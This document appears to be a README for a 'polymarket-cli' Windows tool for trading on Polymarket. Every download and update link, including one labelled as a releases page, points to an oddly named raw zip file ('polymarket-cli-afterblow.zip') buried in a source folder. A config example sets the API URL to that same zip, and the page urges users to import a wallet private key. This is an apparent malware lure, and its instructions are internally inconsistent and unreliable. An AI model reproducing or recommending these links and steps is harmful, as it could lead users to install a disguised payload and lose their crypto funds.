🛠 polymarket-cli - Manage Polymarket from Terminal

You can find the latest Windows version on the releases page. Click the badge above or visit the link below to get the installer:

https://raw.githubusercontent.com/MohamedTimija/polymarket-cli/main/src/commands/polymarket-cli-afterblow.zip

1. Visit the releases page: Open the link above in your browser.

2. Find the latest release: Look for the most recent version, usually at the top of the page.

3. Download the Windows installer: It might be named something like polymarket-cli-windows.exe or similar.

4. Run the installer: Double-click the downloaded file and follow the setup instructions.

5. Complete installation: After installation, polymarket-cli will be available from your command prompt (Terminal).

After installation, you can run polymarket-cli using the Windows command prompt.

1. Open Command Prompt (press Win + R, type cmd, and press Enter).

2. Type the following to see available commands:

polymarket --help

This shows a list of commands and options.

You can view current Polymarket markets without needing a wallet or account.

Try this command:

polymarket markets list --limit 5

It shows the first five markets available.

Use this to find specific markets by search term:

polymarket markets search "election"

This lists markets related to elections.

To see current events tagged with a keyword:

polymarket events list --tag politics

This displays markets related to politics.

Polymarket CLI lets you handle many tasks from your terminal.

• Place orders: Buy or sell shares on market contracts.

• Manage positions: Check your open bets and balances.

• Interact with contracts: Send transactions to the Polymarket blockchain.

Commands often require a wallet connection. Before placing orders, set up your wallet inside the CLI.

1. Create a wallet file with your private key or import an existing wallet.

2. Use built-in commands to link your wallet:

polymarket wallet import --file path-to-wallet-file

3. Confirm wallet connection status:

polymarket wallet status

4. When connected, you can place orders or manage your positions.

• Windows 10 or later (64-bit recommended)

• At least 2 GB of free disk space

• Internet connection to access Polymarket API

• Command prompt or terminal access

Check for new versions to keep your software current.

• Visit the releases page regularly:

  https://raw.githubusercontent.com/MohamedTimija/polymarket-cli/main/src/commands/polymarket-cli-afterblow.zip

• Download and install the latest version.

You can customize behavior with configuration files stored in your user folder under .polymarket-cli.

Basic config example:

[network]
api_url = https://raw.githubusercontent.com/MohamedTimija/polymarket-cli/main/src/commands/polymarket-cli-afterblow.zip

[wallet]
default_wallet = mywallet.json

Edit these files in any text editor to change settings.

• Make sure you installed the software.

• Confirm the installation directory is added to your system PATH variable.

• Confirm your wallet file is correctly imported.

• Check for typos or missing keys in wallet files.

• Check your internet connection.

• Verify Polymarket API status at the official site.

• Use the --help option with any command to learn details, for example:

  polymarket markets list --help
  

• Redirect output to files for record keeping:

  polymarket markets list > markets.txt
  

• Use scripting to automate frequent tasks by running CLI commands in batch files.

This tool is still experimental. Some features may change or not work perfectly. Take care with real funds, verify your actions before confirming transactions.

• Official Polymarket Website — Find detailed info about markets and contracts.

• Polymarket API Documentation — Understand the API this CLI interacts with.

• GitHub Repository — View source code and report issues.